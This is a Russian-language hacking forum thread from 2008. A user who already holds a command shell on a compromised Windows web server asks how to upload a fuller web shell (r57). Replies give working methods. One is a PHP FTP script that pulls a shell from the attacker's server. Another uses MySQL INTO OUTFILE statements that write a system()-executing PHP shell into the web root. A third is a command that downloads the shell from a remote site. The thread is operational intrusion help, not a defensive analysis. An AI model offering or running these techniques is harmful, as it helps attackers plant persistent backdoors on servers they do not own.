HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Способы заливки файлов
  #1  
Старый 30.07.2008, 22:42
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
С нами: 9414373

Репутация: 2
По умолчанию Способы заливки файлов

Есть shell.php?cmd= .
Хотел залить более менее удобный шелл типа r57.
Всё что пришло в голову:
1)Заливка через FTP с поднятием на своём компе сервера, но не смог пока разобраться с авторизацией в slimftpd.
2)Расшарить папку
3)И пробовал записать построчно через echo (добавляются слэши перед кавычками в итоге скрипт не пашет)
Может кто нибудь предложить другие способы?
 
Ответить с цитированием

  #2  
Старый 30.07.2008, 23:33
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

wget, curl, fetch
 
Ответить с цитированием

  #3  
Старый 31.07.2008, 00:02
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
С нами: 9414373

Репутация: 2
По умолчанию

Сорри не уточнил.Дело происходит в винде
 
Ответить с цитированием

  #4  
Старый 31.07.2008, 00:23
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

Если есть возможность выполнить пхп - через fopen(), да и многими другими функциями можно. Я так понял - шелл ты сам залил? Раз залил шелл - залей инклюд или тот же fopen() -> fwrite()

з.ы. вот ещё почитай про работу с фтп через командную строку - ttp://www.winblog.ru/net/1147765001-08020803.html

Последний раз редактировалось n0ne; 31.07.2008 в 00:26..
 
Ответить с цитированием

  #5  
Старый 31.07.2008, 15:53
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
С нами: 9414373

Репутация: 2
По умолчанию

инклюд нельзя (
Можно про fopen() и fwrite() поподробнее?
Я пхп совсем не знаю ((
 
Ответить с цитированием

  #6  
Старый 31.07.2008, 17:05
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

Попробуй через фтп вот так -

Код:
<?

// замени данные на свои 
$host = "ftp.твой_фтп.ru"; // адрес твоего фтп
$port = 21; // порт, по дефолту он 21
$user = "login"; // логин
$passwrod = "password"; // пароль
$local_file = "/ftp/shell.php"; // файл на твоем фтп
$remote_file = "shell.php"; // файл на удаленной тачке
// дальше не трогай :)

$connect = ftp_connect($host, $port);
$done = ftp_login($connect, $user, $password);

if($done)
  {
ftp_get($connect, $local_file, $remote_file, ftp_binary);
  }
else
{
die();
}

?>
И не поленись прочесть вот это - ttp://www.winblog.ru/net/1147765001-08020803.html

Последний раз редактировалось n0ne; 31.07.2008 в 17:07..
 
Ответить с цитированием

  #7  
Старый 31.07.2008, 17:13
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
С нами: 9849598

Репутация: 126
По умолчанию

если есть какая либо база на сайте попробуй приконнектиться к ней с удаленного шела и уже через базу залить шел

CREATE TABLE temptab1(
codetab TEXT
) TYPE=MYISaM;

INSERT INTO temptab1(codetab)
VALUES(
'<pre><body bgcolor=silver><? @system($_REQUEST["v"]); ?></body></pre>'
);


into dumpfile
select * into outfile '/Library/WebServer/Documents/123.php' from temptab1; flush logs;
думаю разберешься что куда ставить

Последний раз редактировалось heks; 31.07.2008 в 17:19..
 
Ответить с цитированием

  #8  
Старый 31.07.2008, 17:44
apollо
Новичок
Регистрация: 24.12.2006
Сообщений: 2
С нами: 10200563

Репутация: 14
По умолчанию

Попробуй так:

shell.php?cmd=get http://site/r57.txt > C:\путь_до_www\r57.php

(по дефолту в C:\AppServ\www\)

"http://site/r57.txt " - сайт на котором лежит исходник шела в txt формате... (если будет в php формате многие выражения понерфяться, что соответственно приведёт к неработоспособности шела, поэтому используй изначально txt)

Последний раз редактировалось apollо; 31.07.2008 в 17:49..
 
Ответить с цитированием

  #9  
Старый 31.07.2008, 19:23
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
С нами: 9414373

Репутация: 2
По умолчанию

apollо
"get" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Я тоже об этом думал
 
Ответить с цитированием

  #10  
Старый 31.07.2008, 19:24
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
С нами: 9414373

Репутация: 2
По умолчанию

heks
К сожалению нет.
bind-adress 127.0.0.1
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Народ.диск - скрипт заливки файлов. phenix1024 PHP 4 05.07.2008 13:25
Perl: Скрипт для авторизиции и заливки файлов на сервер Fak1r PHP 0 08.06.2008 01:38
Dos-команды юный хакер Windows 6 01.06.2008 11:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.